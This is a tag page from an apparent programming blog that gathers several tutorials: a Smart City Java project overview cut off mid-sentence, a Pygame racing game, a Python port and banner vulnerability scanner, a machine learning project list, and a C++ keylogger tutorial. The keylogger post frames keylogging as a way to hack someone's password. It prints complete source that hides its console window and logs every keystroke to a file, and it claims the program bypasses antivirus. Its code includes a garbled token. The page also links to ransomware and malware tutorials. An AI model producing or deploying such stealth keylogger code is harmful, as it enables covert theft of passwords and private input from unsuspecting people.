Tag: projects

  • Smart City Java Project: A Comprehensive Solution for Urban Needs

    Smart City Java Project: A Comprehensive Solution for Urban Needs

    Smart cities are the future of urbanization, where technology is used to improve the quality of life for citizens, enhance sustainability, and optimize resource utilization. To realize this vision, smart city projects are being implemented across the world, which use advanced technologies like IoT, AI, and Big Data to create an interconnected urban infrastructure.

    One such project is the Smart City Java Project, which is a comprehensive solution for urban needs that provides a wide range of services to the citizens. This project is specifically designed for java students as it offers an excellent opportunity to learn and implement various java concepts and technologies.

    Overview of Smart City Java Project

    The Smart City Java Project is a web-based application that provides a platform for citizens to access various services and information related to their city. The application is divided into various modules, each of which caters to a specific need. These modules are:

    1. Hotel Booking Module – This module provides tourists with the facility to book hotels online. It contains a list of hotels in the city with their details, such as room availability, rates, and location.
    2. Ticket Booking Module – This module provides citizens with the facility to book tickets for various modes of transport, such as buses, trains, and flights. It also includes a schedule of all the available modes of transport.
    3. Transport Facility Module – This module provides citizens with information related to transport facilities in the city, such as the availability of taxis, auto-rickshaws, and buses.
    4. Business Information Module – This module provides information related to businesses in the city, such as their location, contact details, and products/services offered.
    5. Marketing Detail Module – This module provides citizens with information related to marketing activities in the city, such as promotions, discounts, and offers.
    6. City News Module – This module provides citizens with the latest news and events happening in the city, such as cultural events, sports events, and festivals.
    7. Shopping Detail Module – This module provides citizens with information related to shopping centers in the city, such as their location, products/services offered, and discounts available.

    Features of Smart City Java Project

    The Smart City Java Project is designed to provide the citizens with a user-friendly interface that is easy to navigate. Some of the features of this project are:

    1. Secure Login System – The application has a secure login system that ensures that only authorized users can access the services.
    2. User-Friendly Interface – The application has a user-friendly interface that makes it easy for the citizens to access the services and information.
    3. Comprehensive Database – The application has a comprehensive database that contains all the relevant information related to the city, such as hotel details, transport schedules, business information, and city news.
    4. Efficient Search System – The application has an efficient search system that allows citizens to search for the services and information they require.
    5. Online Payment Facility – The application has an online payment facility that enables citizens to make payments for the services they avail of.
    6. Responsive Design – The application has a responsive design that ensures that it can be accessed on any device, such as desktops, laptops, tablets, and smartphones.

    Benefits of Smart City Java Project

    The Smart City Java Project offers several benefits to the citizens and the city administration, such as:

    1. Improved Citizen Services – The project provides citizens with a wide range of services and information that makes their lives easier and more convenient.
    2. Increased Efficiency – The project uses advanced technologies like IoT and Big Data to optimize resource utilization, which results in increased efficiency.
    3. Enhanced Sustainability – The project promotes sustainable living by providing citizens with information related to eco-friendly practices, such as waste management and energy conservation.
    4. Improved Governance – The project provides the city administration with a comprehensive database that
  • Car Racing Game Using Python

    Car Racing Game Using Python

    Car racing games have always been popular among gamers. The thrill of racing against other players or the computer, the excitement of the speed, and the adrenaline rush make it an enjoyable experience. In this article, we will explore how to create a car racing game using Python.

    Python is a high-level programming language that is easy to learn and has a vast library of modules that can be used to create complex applications. The game we will be creating is a simple 2D car racing game that will use the Pygame library to handle graphics, input events, and audio. \

    Before we begin, we need to install Pygame. We can install Pygame using pip, a package manager for Python. Open the command prompt and enter the following command:

    pip install pygame

    Once we have installed Pygame, we can start creating our game.

    Step 1: Set up the game window

    First, we need to create a game window using Pygame. We can use the Pygame.display.set_mode() method to create a window of a specified size. Here is the code to create a window of size 800×600 pixels:

    import pygame
    
    pygame.init()
    screen = pygame.display.set_mode((800, 600))
    pygame.display.set_caption("Car Racing Game")
    

    We have created a window of size 800×600 pixels and set the title of the window to “Car Racing Game”.

    Step 2: Load the images

    We need to load the images for the cars and the background. We can use the Pygame.image.load() method to load the images. Here is the code to load the car and background images:

    car_image = pygame.image.load("car.png")
    background_image = pygame.image.load("background.png")
    

    Step 3: Set up the game loop

    The game loop is responsible for updating the game state, handling input events, and rendering the graphics. We can use the Pygame.time.Clock() method to set the frame rate of the game. Here is the code to set up the game loop:

    clock = pygame.time.Clock()
    
    while True:
        # Handle events
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                pygame.quit()
                sys.exit()
    
        # Update game state
    
        # Render graphics
        screen.blit(background_image, (0, 0))
        screen.blit(car_image, (400, 500))
    
        pygame.display.update()
    
        # Limit the frame rate
        clock.tick(60)
    

    In the game loop, we handle the quit event and update the game state. We then render the graphics by blitting the background and car images to the screen. Finally, we use the Pygame.display.update() method to update the display, and we limit the frame rate to 60 frames per second.

    Step 4: Handle input events

    We need to handle input events such as keyboard input to control the car. We can use the Pygame.key.get_pressed() method to get the state of the keyboard keys. Here is the code to handle keyboard input:

    keys = pygame.key.get_pressed()
    
    if keys[pygame.K_LEFT]:
        # Move the car left
    if keys[pygame.K_RIGHT]:
        # Move the car right
    if keys[pygame.K_UP]:
        # Move the car up
    if keys[pygame.K_DOWN]:
        # Move the car down
    

    We get the state of the keyboard keys using the Pygame.key.get_pressed() method. We then check if the left arrow key, right arrow key, up arrow key, or down arrow key is pressed. If a key is pressed, we move the car accordingly.

    Step 5: Add collision detection

    We need to add collision detection to detect when the car collides with other objects in the game. We can use the Pygame.Rect() method to create a rectangular bounding box around the car and other objects, and then check if the bounding boxes overlap. Here is the code to add collision detection:

    car_rect = car_image.get_rect()
    other_rect = pygame.Rect(x, y, width, height)
    
    if car_rect.colliderect(other_rect):
        # Handle collision
    

    We create a rectangular bounding box around the car image using the car_image.get_rect() method. We then create a rectangular bounding box around other objects in the game using the Pygame.Rect() method. We use the Pygame.Rect.colliderect() method to check if the two bounding boxes overlap. If the bounding boxes overlap, we handle the collision accordingly.

    Step 6: Add game elements

    Finally, we need to add game elements such as obstacles and power-ups to make the game more challenging and interesting. We can use the Pygame.draw.rect() method to draw rectangles representing obstacles and power-ups. Here is the code to add obstacles and power-ups:

    obstacle_rect = pygame.draw.rect(screen, (255, 0, 0), (x, y, width, height))
    powerup_rect = pygame.draw.rect(screen, (0, 255, 0), (x, y, width, height))
    

    We use the Pygame.draw.rect() method to draw a red rectangle representing an obstacle and a green rectangle representing a power-up. We specify the position and size of the rectangle using the (x, y, width, height) parameters.

    Conclusion

    In this article, we have explored how to create a car racing game using Python and Pygame. We have covered the following steps:

    1. Set up the game window
    2. Load the images
    3. Set up the game loop
    4. Handle input events
    5. Add collision detection
    6. Add game elements

    By following these steps, you can create a simple but enjoyable car racing game. You can also extend the game by adding more features such as multiple levels, different cars, and more obstacles and power-ups. Have fun creating your own car racing game using Python!

    It’s important to note that while this code provides a basic structure for a car racing game, it’s not a complete game and there’s a lot of room for customization and improvement.

    For example, you could add more obstacles, different types of power-ups, different levels with increasing difficulty, or even multiple cars that the player can switch between.

    Additionally, the game currently doesn’t have any user interface or menu screens, so it might be helpful to add those in order to give the player more information about the game and allow them to customize their settings.

  • How To Create Your Own Powerful C++ Keylogger

    How To Create Your Own Powerful C++ Keylogger

    Keyloggers, as the word itself suggests, function by logging or capturing keys or key strokes. Technically, a keylogger is a software tool or program which is used to capture key strokes that a user presses in real time. Further processing depends on the nature of the keylogger, whether it is a physical or remote keylogger. The technique of capturing key strokes is called keylogging. Itโ€™s hard to believe, but keylogging is the easiest method to hack someoneโ€™s password. All you need is a good keylogger, a good crypter, and the knowledge to spread your keylogger program. Thousands of keyloggers are available online for free, but all of these are either detectable by antivirus or, ironically, have a virus attached to hack the user. Clearly, we need to be cautious when using freely available keyloggers or cracked versions of paid keyloggers. But why should you become prey to other hackers when designing your own is damn easy? Most novice hackers or โ€œscript kiddiesโ€ think that coding a good keylogger is a difficult and tedious task but believe me, after reading this tutorial, it will become a routine task for you to code a keylogger. Today, I will teach you the inward and outward logic of keyloggers.

    Letโ€™s start by learning how to code keyloggers in C stepwise. As you all learned above,ย keyloggers capture keystrokes. There are several methods for capturing keys, such as capturing the keyboard API input and output: these are calledย API based keyloggers.ย You can also simply capture the keys after they get decoded by your OS. The hardware keyboard sends instructions to OS drivers, which decode every key pressed on the keyboard into useful alphabets.

    Note:ย You can use Borland C compiler or Code blocks C compiler for coding, I usually prefer DEV C i.e. Borland C compiler.

    So letโ€™s start coding:

    Disclaimer:ย This tutorial has been made for educational purposes only, Codelivly donโ€™t promote malicious practices and will not be responsibleย for any illegalย activities.ย Use it atย your own risk.

    In this tutorial, you will learn how to make a powerful c++ keylogger. If you know how to program then the code will be very easy to understand, donโ€™t worry if you donโ€™t know anything about programming still you can make your own C++ keylogger using this tutorial.

    After successful compilation, the C++ keylogger can perform the following functions:

    • It will run in stealth mode.
    • It can bypass the antivirus.
    • It will store every keystroke in a text file.

    Letโ€™s learn, how to make a  C++ Keylogger:

    In order to modify and compile the source, you will need aย C++ IDE(integrated development environment), for this tutorial I will use Dev c++ because it is free, lightweight, and easy to use, feel free to use any other C++ IDE.

    Download Dev c++ from here.

    Install Dev c++ on your system, the installation process is very simple. Launch it after the installation the interface should look the image below. Go to the File option at the top you will see New from here choose Source file, or click on the middle of the IDE and press Ctrl+n.

    c++ keylogger

    Here is the source code for the C++ Keylogger:

    #include <iostream>
    #include <windows.h>
    #include <winuser.h>
    #include <fstream>
    using namespace std;
    
    void StealthMode();
    void StartLogging();
    
    int main(){
        StealthMode();
        StartLogging();
    
        return 0;
    }
    
    void StartLogging(){
            char c;
    
        for(;;){
    
            for(c=8;c<=222;c++){
                if(GetAsyncKeyState(c)==-32767){
    
                ofstream write("Record.txt", ios::app);
    
                if(((c>64)&&(c<91))&&!(GetAsyncKeyState(0x10)) )
                {
                    c+=32;
                    write<<c;
                    write.close();
                    break;
                }
                else if((c>64)&&(c<91))
                {
    
                    write<<c;
                    write.close();
                    break;
                }
                else {
    
                    switch (c)
                    {
                        case 48:
                        {
                            if(GetAsyncKeyState(0x10))
    
                                write<<")";
                            elseFgeek
                                write<<"0";
    
    
                            }
                        break;
    
    
    
                        case 49:
                        {
                            if(GetAsyncKeyState(0x10))
    
                                write<<"!";
                            else
                                write<<"1";
    
    
                            }
                        break;
    
                        case 50:
                        {
                            if(GetAsyncKeyState(0x10))
    
                                write<<"@";
                            else
                                write<<"2";
    
                            }
                        break;
                        case 51:
                        {
                            if(GetAsyncKeyState(0x10))
    
                                write<<"#";
                            else
                                write<<"3";
    
    
                            }
                        break;
                        case 52:
                        {
                            if(GetAsyncKeyState(0x10))
    
                                write<<"$";
                            else
                                write<<"4";
    
    
                            }
                        break;
                        case 53:
                        {
                            if(GetAsyncKeyState(0x10))
    
                                write<<"%";
                            else
                                write<<"5";
    
    
                            }
                        break;
                        case 54:
                        {
                            if(GetAsyncKeyState(0x10))
    
                                write<<"^";
                            else
                                write<<"6";
    
    
                            }
                        break;
                        case 55:
                        {
                            if(GetAsyncKeyState(0x10))
    
                                write<<"&";
                            else
                                write<<"7";
    
    
                            }
                        break;
                        case 56:
                        {
                            if(GetAsyncKeyState(0x10))
    
                                write<<"*";
                            else
                                write<<"8";
    
    
                            }
                        break;
                        case 57:
                        {
                            if(GetAsyncKeyState(0x10))
    
                                write<<"(";
                            else
                                write<<"9";
    
    
                            }
                        break;
    
                        case VK_SPACE:
                            write<<" ";
                            break;
                        case VK_RETURN:
                            write<<"\n";
                            break;
                        case VK_TAB:
                            write<<"  ";
                            break;
                       case VK_BACK:
                            write<<"<BACKSPACE>";
                            break;
                        case VK_DELETE:
                            write<<"<Del>";
                            break;
    
                        default:
                            write<<c;
                }
    
                    }
    
               }
            }
            }
    }
    void StealthMode(){
        HWND stealth;
        AllocConsole();
        stealth=FindWindowA("ConsoleWindowClass",NULL);
        ShowWindow(stealth,0);
    
    }

    Copy all of the C++ keylogger Source code, and past it on the Dev C++ ide. To compile it go to the Execute option and choose Compile or press F9 function key, it will ask you for a location to save your keylogger .Choose your location and save it to start the compilation process.

    C++ keylogger

    After successful compilation, you will see your keylogger in executable form in the folder you used to save during compiling the C++ keylogger source code.

    C++ keylogger

    Now test your keylogger start the application, you nothing because it is coded to run in the stealth mode in the background. Open a browser and type something, and  go to the C++ keylogger folder you will see a text file called Record wich have the information you typed.

    C++ keylogger
    C++ Keylogger

    It will keep running in the background unless you stop it. To close the C++ keylogger go to Task manager by pressing  Ctrl+alt+Del. Select the keylogger and choose Endtask.

    C++ Keylogger

    I hope you enjoyed the article. Step 6 is not disclosed because I want to explain the difference between a physical keylogger and a remote keylogger. You might have realized that this is a physical keylogger: you can only view data on the same machine on which the binary is running.

    If you have any doubts, please ask in the comments.

    Discover: Build an Advanced Keylogger in Python

  • Building a vulnerability scanner using python

    Building a vulnerability scanner using python

    Vulnerability scanning is a crucial aspect of maintaining the security of computer systems and networks. It is the process of identifying and analyzing the security weaknesses and vulnerabilities present in a network or computer system. The goal is to identify potential attack vectors and prioritize remediation efforts to prevent security breaches. Vulnerability scanners use various techniques, such as port scanning and vulnerability checks, to identify potential vulnerabilities. By performing regular vulnerability scans, organizations can reduce the risk of security breaches and protect sensitive information. Vulnerability scanning is just one aspect of a comprehensive security strategy, but it is an important step in protecting against cyber threats.

    What is a Vulnerability Scanning ?

    Vulnerability scanning is a process of identifying and assessing potential security weaknesses in a computer system, network, or web application. This is typically done through automated tools that scan for known vulnerabilities, missing patches, and other security issues, and provide a report with recommendations for remediation. The goal of vulnerability scanning is to detect security risks before they can be exploited by attackers.

    A vulnerability scanner works by analyzing a target system, network, or web application to identify potential security weaknesses and vulnerabilities. The process usually involves the following steps:

    1. Discovery: The scanner identifies all assets within the target environment and creates an inventory of the systems, network devices, and applications that need to be scanned.
    2. Scanning: The scanner then runs tests against these assets to identify known vulnerabilities, missing patches, misconfigurations, and other security issues. This can be done using a database of known vulnerabilities and exploits, signature-based detection, or other techniques.
    3. Analysis: The results of the scans are analyzed to determine the severity of the vulnerabilities and the potential impact on the target environment. The scanner also provides recommendations for remediation, including steps to reduce risk and improve security.
    4. Reporting: The results of the scans are presented in a report, which provides a detailed overview of the vulnerabilities found, their severity, and the recommended remediation steps.

    Vulnerability scanners are useful for organizations looking to proactively identify and address security risks, and for individuals looking to improve their overall security posture. However, it’s important to keep in mind that no scanner is 100% effective, and manual testing and verification may still be required to identify all potential vulnerabilities.

    Discover: How to Make Ransomware with Python

    Let’s Start

    Converting port scanner into a class

    Here is a port scanner class as depicted below. what we just did is defining the class name โ€œclass portscan()โ€ at the first, also we defined two lists โ€œbannersโ€ and โ€œopen_portsโ€ that we will use to store the discovered open ports and banners. Then we defined the โ€œinit()โ€ function that a reserved function in python with two parameters or attributes โ€œtargetโ€ and โ€œport_numโ€. This function initializes the attributes of the obiects that will be created of this class. The โ€œselfโ€ represents the instance or the object of the class. We use โ€œselfโ€ keyword to access the attributes and methods of the class in python. After that, we modified the scan() function by placing the converted_ip variable into scan_port() function instead of scan() function and removing the print statement as we do not need it anymore. Also, we removed the get_banner() function and replaced it by defining a banner variable at the scan_port() function.

    import socket
    from IPy import IP
    
    class portscan():
        banners = []
        open_ports = []
        def __init__(self, target, port_num):
            self.target = target
            self.port_num = port_num
    
        def scan(self):
            for port in range(1, self.port_num):
                self.scan_port(port)
    
    
        def check_ip(self):
            try:
                IP(self.target)
                return(self.target)
            except ValueError:
                return socket.gethostbyname(self.target)
    
    
        def scan_port(self, port):
            try:
                converted_ip = self.check_ip()
                sock = socket.socket()
                sock.settimeout(0.5)
                sock.connect((converted_ip, port))
                self.open_ports.append(port)
                try:
                    banner = sock.recv(1024).decode().strip('\n').strip('\r')
                    self.banners.append(banner)
                except:
                    self.banners.append(' ')
                sock.close()
            except:
                pass

    Writing the vulnerability scanner script

    Step 1: Importing port scanner class

    We import the port scanner class that contains all the required libraries, variables, and functions.

    # Python code snippet
    import portscanner

    Step 2: Asking user for input

    We ask a user to enter the target_ip, port_number, and vul_file that contain the common vulnerabilities list.

    # Python code snippet
    targets_ip = input('[+] * Enter Target To Scan For Vulnerable Open Ports: ')
    port_number = int(input('[+] * Enter Amount Of Ports You Want To Scan (500 - First 500 Ports): '))
    vul_file = input('[+] * Enter Path To The File With Vulnerable Softwares: ')
    print('\n')

    Step 3: Discovering the vulnerable ports

    At the first, we define a port scanner object โ€œtargetโ€ and pass the two parameters that the user specified them โ€œtargets_ipโ€ and โ€œport_numberโ€ to initialize them at the port scanner constructor โ€œinit()โ€. Then we call the scan() function that calls all the other functions of the port scanner class on our defined object โ€œtargetโ€. After that, we open the โ€œvul_fileโ€ with a read option โ€˜rโ€™. Also we create the count variable to keep track of the banners with the corresponding open ports and increase it after each new banner selected. Then we implement a nested for loop to iterate over the banners list and compare each banner with each line of the vul_file. If the banner is existed in the vul_file, then we have found a vulnerable service and print it with the corresponded port. We use โ€œfile.seek(0)โ€ to set the pointer at the first line of the vul_file at each time we select a new banner.

    #Python code snippet
    target = portscanner.portscan(targets_ip, port_number)
    target.scan()
    with open(vul_file,'r') as file:
        count = 0
        for banner in target.banners:
            file.seek(0)
            for line in file.readlines():
                if line.strip() in banner:
                    print('[!!] VULNERABLE BANNER: "' + banner + '" ON PORT: ' + str(target.open_ports[count]))
            count += 1

    The complete vulnerability scanner script

    Here is a final vulnerability scanner script as depicted below.

    import portscanner
    
    targets_ip = input('[+] * Enter Target To Scan For Vulnerable Open Ports: ')
    port_number = int(input('[+] * Enter Amount Of Ports You Want To Scan (500 - First 500 Ports): '))
    vul_file = input('[+] * Enter Path To The File With Vulnerable Softwares: ')
    print('\n')
    
    target = portscanner.portscan(targets_ip, port_number)
    target.scan()
    with open(vul_file,'r') as file:
        count = 0
        for banner in target.banners:
            file.seek(0)
            for line in file.readlines():
                if line.strip() in banner:
                    print('[!!] VULNERABLE BANNER: "' + banner + '" ON PORT: ' + str(target.open_ports[count]))
            count += 1

    Script output

    We test our script in the virualbox environment that consisted of two virtual machines (Kali Linux and Metasploitable). We run the script in the kali linux machine to scan our target which is the metasploitable machine. And here is our script results.

    vulnerability_scanner output

    As depicted in the image above, we successfully discovered two vulnerable services are running over the metasploitable machine.

    Note: Keep the vulnerability scanner script, port scanner class, and the vulnerable banners text file in the same directory/folder.

    Discover: How to Create Malware in Python Practically

    FAQ

    1. What is vulnerability scanning?

    Vulnerability scanning is the process of identifying and analyzing the security weaknesses and vulnerabilities in a network or computer system. The goal is to identify potential attack vectors and prioritize remediation efforts.

    1. What does a vulnerability scanner do?

    A vulnerability scanner automates the process of identifying vulnerabilities in a network or computer system. It uses various techniques, such as port scanning and vulnerability checks, to identify potential security weaknesses.

    1. Why is vulnerability scanning important?

    Vulnerability scanning is important because it helps organizations understand the potential risks to their systems and data. By identifying and addressing vulnerabilities, organizations can reduce the risk of security breaches and protect sensitive information.

    1. What are the types of vulnerability scanning?

    There are two main types of vulnerability scanning: network-based and host-based. Network-based scans are performed from a remote location and examine network configurations and vulnerabilities, while host-based scans examine the vulnerabilities of individual systems.

    1. What are the benefits of vulnerability scanning?

    The benefits of vulnerability scanning include: improved security posture, early identification of security weaknesses, reduction in the risk of security breaches, and improved compliance with security standards.

    1. How does a vulnerability scanner work?

    A vulnerability scanner works by using various techniques, such as port scanning and vulnerability checks, to identify potential security weaknesses in a network or computer system. The scanner typically begins by creating a map of the target environment and then performs various tests to identify vulnerabilities. The results of the scan are then analyzed and used to prioritize remediation efforts.

    1. What are some common vulnerabilities that a vulnerability scanner can identify?

    Some common vulnerabilities that a vulnerability scanner can identify include: unpatched software, weak passwords, open ports, and outdated operating systems. The specific vulnerabilities that a scanner can identify will depend on the capabilities of the scanner and the configuration of the target environment.

    Discover:Create SQL Injection Payloads

    Conclusion

    In conclusion, vulnerability scanning is an important aspect of maintaining the security of computer systems and networks. It helps organizations identify potential security weaknesses and prioritize remediation efforts. Vulnerability scanners can use various techniques, such as port scanning and vulnerability checks, to identify potential vulnerabilities. By performing regular vulnerability scans and addressing identified vulnerabilities, organizations can reduce the risk of security breaches and protect sensitive information. However, it’s important to note that vulnerability scanning is just one aspect of a comprehensive security strategy, and organizations should also implement additional measures, such as access controls, network segmentation, and incident response planning, to further protect their systems and data.

  • Exploring the World of Machine Learning: Top Projects for Beginners to Advanced Learners

    Exploring the World of Machine Learning: Top Projects for Beginners to Advanced Learners

    Machine learning is a rapidly growing field that is revolutionizing the way we interact with technology. It is a subset of artificial intelligence that enables computers to learn from data and make predictions or decisions without being explicitly programmed. With the increasing amount of data being generated in today’s world, machine learning has become an essential tool for analyzing and understanding this data. As a result, machine learning is now being used in a wide range of applications, from self-driving cars to personalized recommendations on streaming platforms. In this article, we will explore the top machine learning projects for beginners to advanced learners, providing an overview of different types of projects and the skills required to complete them. These projects range from simple supervised learning tasks such as handwritten digit recognition to more advanced projects such as deep reinforcement learning with multi-agent systems. By working on these projects, you can gain a deeper understanding of machine learning concepts and techniques, practice your skills, and stay updated with the latest advancements in the field.

    These are some of the top machine learning projects that are suitable for beginners to advanced learners. These projects are a great way to gain a deeper understanding of machine learning and practice your skills. It’s important to keep in mind that machine learning is a vast field and there are many more projects you can explore and learn from.

    Who is this For

    This article is for individuals who are interested in learning about machine learning and want to explore different types of machine learning projects. Whether you are a beginner with no prior experience in machine learning, an intermediate level learner looking to improve your skills, or an advanced level learner looking to stay updated with the latest advancements in the field, this article will provide you with a comprehensive list of machine learning projects suitable for your level of expertise. These projects will help you to gain a deeper understanding of machine learning concepts and techniques, and practice your skills in a hands-on manner.

    Why this Projects

    The projects listed in this article are carefully selected to provide a comprehensive learning experience for individuals of all levels of expertise. These projects cover a wide range of topics within machine learning, from basic supervised learning tasks such as handwritten digit recognition to more advanced projects such as deep reinforcement learning with multi-agent systems. By working on these projects, you will be able to gain a deeper understanding of machine learning concepts and techniques, and practice your skills in a hands-on manner.

    Additionally, these projects are designed to provide a practical learning experience, where you can apply the concepts you have learned in a real-world scenario. This will help you to understand how machine learning can be applied in different domains, such as computer vision, natural language processing, and recommendation systems.

    Furthermore, working on these projects will help you to stay updated with the latest advancements in the field of machine learning, as they involve the use of state-of-the-art techniques, architectures and algorithms. This will help you to develop a broad understanding of the field and be well-prepared for future developments and advancements.

    In summary, the projects listed in this article are designed to provide a comprehensive, practical, and up-to-date learning experience for individuals of all levels of expertise in machine learning.

    Discover: Machine Learning Roadmap 2023

    Beginner Level Project

    These projects are a great way to get started with machine learning and gain a deeper understanding of the basics. They will give you a chance to practice your skills and gain confidence in your abilities, as well as give you a chance to learn about different techniques and algorithms used in machine learning.

    #1. Handwritten Digit Recognition

    This is a classic machine learning project that is perfect for beginners. The goal of this project is to train a model to recognize handwritten digits using the MNIST dataset. This project will introduce you to the basics of machine learning, such as supervised learning and neural networks. It is a great way to learn about image processing and computer vision, as well as the basics of training and evaluating machine learning models.

    #2. Spam Classifier:

    This project is a great way to learn about natural language processing and classification. The goal of this project is to build a model that can classify emails as spam or not spam. You will learn about different techniques used in natural language processing, such as tokenization and feature extraction.

    #3. Linear Regression

    This project is a great way to learn about supervised learning and linear regression. The goal of this project is to build a model that can predict a continuous value based on input data. You will learn about different techniques used in linear regression, such as feature selection and model evaluation.

    #4. K-Means Clustering

    This project is a great way to learn about unsupervised learning and clustering. The goal of this project is to build a model that can group similar data points together. You will learn about different techniques used in clustering, such as distance metrics and initialization methods.

    #5. Credit Card Fraud Detection

    This project is a great way to learn about anomaly detection and unsupervised learning. The goal of this project is to build a model that can detect fraudulent credit card transactions. You will learn about different techniques used in anomaly detection, such as density-based and distance-based methods.

    #6. Sentiment Analysis

    This project is a great way to learn about natural language processing and text classification. The goal of this project is to build a model that can classify text as positive, negative, or neutral based on the sentiment of the text. You will learn about different techniques used in sentiment analysis, such as tokenization, feature extraction, and sentiment analysis algorithms.

    #7. Recommender Systems

    This project is a great way to learn about recommendation systems and collaborative filtering. The goal of this project is to build a model that can suggest items to users based on their past behavior. You will learn about different types of recommendation systems and how to evaluate the performance of your model.

    #8. Face Detection

    This project is a great way to learn about computer vision and object detection. The goal of this project is to build a model that can detect faces in an image. You will learn about different techniques used in object detection, such as Haar cascades and deep learning-based methods.

    #9. Chatbot

    This project is a great way to learn about natural language processing and deep learning. The goal of this project is to build a chatbot that can understand and respond to user input. You will learn about different techniques used in natural language processing, such as sentiment analysis and text generation.

    #10. Time Series Forecasting

    This project is a great way to learn about time series analysis and recurrent neural networks. The goal of this project is to build a model that can predict future values based on past data. You will learn about different techniques used in time series analysis, such as decomposition and forecasting.

    Intermediate Level Project

    These projects are designed for intermediate level learners, they will help you to build more complex models, and gain a deeper understanding of different areas of machine learning, especially deep learning. They will also challenge you to put all your knowledge into practice and develop your skills as a machine learning engineer.

    #11. Object Detection

    This project is a great way to learn about computer vision and deep learning. The goal of this project is to train a model that can detect objects in an image or video. You will learn about different architectures and techniques used in deep learning, such as YOLO and Faster R-CNN.

    #12. Image Segmentation

    This project is a great way to learn about deep learning and image processing. The goal of this project is to train a model that can segment an image into different regions or objects. You will learn about different architectures and techniques used in deep learning, such as U-Net and Mask R-CNN.

    #13. Generative Adversarial Networks (GANs)

    This project is a great way to learn about deep learning and generative models. The goal of this project is to train a GAN model that can generate new images based on a given dataset. You will learn about different architectures and techniques used in GANs, such as DCGAN and WGAN.

    #14. Natural Language Processing (NLP) with Transformer Models

    This project is a great way to learn about natural language processing and deep learning. The goal of this project is to train a transformer-based model that can perform tasks such as language translation, text summarization, and question answering. You will learn about different architectures and techniques used in transformer models, such as BERT and GPT-2.

    #15. Reinforcement Learning

    This project is a great way to learn about reinforcement learning and artificial intelligence. The goal of this project is to train an agent to perform a task in an environment, such as playing a game or controlling a robot. You will learn about different techniques used in reinforcement learning, such as Q-learning and SARSA.

    #16. Image Captioning

    This project is a great way to learn about deep learning, natural language processing, and image processing. The goal of this project is to train a model that can generate captions for images. You will learn about different architectures and techniques used in deep learning, such as CNN-RNN and encoder-decoder models.

    #17. Named Entity Recognition (NER)

    This project is a great way to learn about natural language processing and deep learning. The goal of this project is to train a model that can identify named entities in text, such as people, organizations, and locations. You will learn about different architectures and techniques used in deep learning, such as LSTM and CRF.

    #18. Recommender Systems with Matrix Factorization

    This project is a great way to learn about recommendation systems and matrix factorization. The goal of this project is to build a model that can suggest items to users based on their past behavior and preferences. You will learn about different techniques used in matrix factorization, such as SVD and NMF.

    #19. Speech Recognition

    This project is a great way to learn about signal processing and deep learning. The goal of this project is to train a model that can transcribe speech to text. You will learn about different techniques used in speech recognition, such as hidden Markov models and deep neural networks.

    #20. Time Series Analysis

    This project is a great way to learn about time series analysis and deep learning. The goal of this project is to build a model that can analyze time series data, such as stock prices or weather data. You will learn about different techniques used in time series analysis, such as decomposition and forecasting, as well as deep learning architectures such as LSTMs and CNNs.

    #21. Computer Vision with Deep Learning

    This project is a great way to learn about computer vision and deep learning. The goal of this project is to train a model that can perform tasks such as object detection, image segmentation, and image captioning using deep learning architectures such as CNNs, R-CNNs, and YOLO.

    #22. Natural Language Processing with Deep Learning

    This project is a great way to learn about natural language processing and deep learning. The goal of this project is to train a model that can perform tasks such as sentiment analysis, text classification, and language translation using deep learning architectures such as RNNs, LSTMs, and transformer models.

    #23. Recommender Systems with Deep Learning

    This project is a great way to learn about recommendation systems and deep learning. The goal of this project is to train a model that can suggest items to users based on their past behavior and preferences using deep learning architectures such as autoencoders and deep neural networks.

    #24. Speech Recognition with Deep Learning

    This project is a great way to learn about speech recognition and deep learning. The goal of this project is to train a model that can transcribe speech to text using deep learning architectures such as CNNs and RNNs.

    #25. Time Series Analysis with Deep Learning

    This project is a great way to learn about time series analysis and deep learning. The goal of this project is to train a model that can analyze time series data using deep learning architectures such as LSTMs and CNNs.

    Advance Projects

    These projects are designed for advanced level learners, they are challenging, and they require a deep understanding of machine learning concepts and techniques, as well as a solid background in deep learning. They will help you to develop your skills as a machine learning engineer, and stay updated with the latest advancements in the field of machine learning.

    #26. Generative Models with Variational Autoencoders (VAEs)

    This project is a great way to learn about generative models and deep learning. The goal of this project is to train a VAE model that can generate new images based on a given dataset. You will learn about different architectures and techniques used in VAEs, such as reparameterization and KL divergence.

    #27. Reinforcement Learning with Deep Q-Networks (DQNs)

    This project is a great way to learn about reinforcement learning and deep learning. The goal of this project is to train a DQN agent to perform a task in an environment, such as playing a game or controlling a robot. You will learn about different techniques used in reinforcement learning, such as Q-learning and experience replay.

    #28. Generative Adversarial Networks (GANs) with Progressive Growing

    This project is a great way to learn about generative models and deep learning. The goal of this project is to train a GAN model that can generate new images at different resolutions using progressive growing techniques.

    #29. Natural Language Processing (NLP) with Transformers

    This project is a great way to learn about natural language processing and deep learning. The goal of this project is to train a transformer-based model that can perform tasks such as language translation, text summarization, and question answering with advanced techniques such as transfer learning and fine-tuning.

    #30. Deep Reinforcement Learning (DRL) with Multi-Agent Systems

    This project is a great way to learn about reinforcement learning and deep learning. The goal of this project is to train a multi-agent DRL system that can perform a task in an environment, such as playing a game or controlling a robot. You will learn about different techniques used in reinforcement learning, such as Q-learning and experience replay and how to apply them to multi-agent systems.

    #31. Deep Learning for Computer Vision with Object Detection and Segmentation

    This project is a great way to learn about computer vision and deep learning. The goal of this project is to train a model that can perform object detection and segmentation using state-of-the-art deep learning architectures such as Mask R-CNN, YOLOv3 and RetinaNet.

    #32. Deep Learning for Natural Language Processing with Language Models

    This project is a great way to learn about natural language processing and deep learning. The goal of this project is to train a language model using state-of-the-art architectures such as BERT, GPT-2, and RoBERTa to perform tasks such as language translation, text summarization, and question answering.

    #33. Deep Reinforcement Learning (DRL) with Multi-Agent Systems and Imitation Learning

    This project is a great way to learn about reinforcement learning, deep learning and multi-agent systems. The goal of this project is to train a multi-agent DRL system using techniques such as Q-learning, experience replay and imitation learning to perform a task in an environment.

    #34. Generative Models with Generative Adversarial Networks (GANs) and Variational Autoencoders (VAEs)

    This project is a great way to learn about generative models and deep learning. The goal of this project is to train GAN and VAE models to generate new images based on a given dataset, and to compare the performance of these models.

    #35. Deep Learning with Transfer Learning and Fine-Tuning

    This project is a great way to learn about deep learning and transfer learning. The goal of this project is to train a model using pre-trained architectures such as VGG16, InceptionV3, and ResNet50, and to fine-tune them for a specific task, such as image classification or object detection.

    FAQ

    Q: What is machine learning?

    A: Machine learning is a branch of artificial intelligence that enables computers to learn from data, without being explicitly programmed. It is used in a wide range of applications, from self-driving cars to personalized recommendations on streaming platforms.

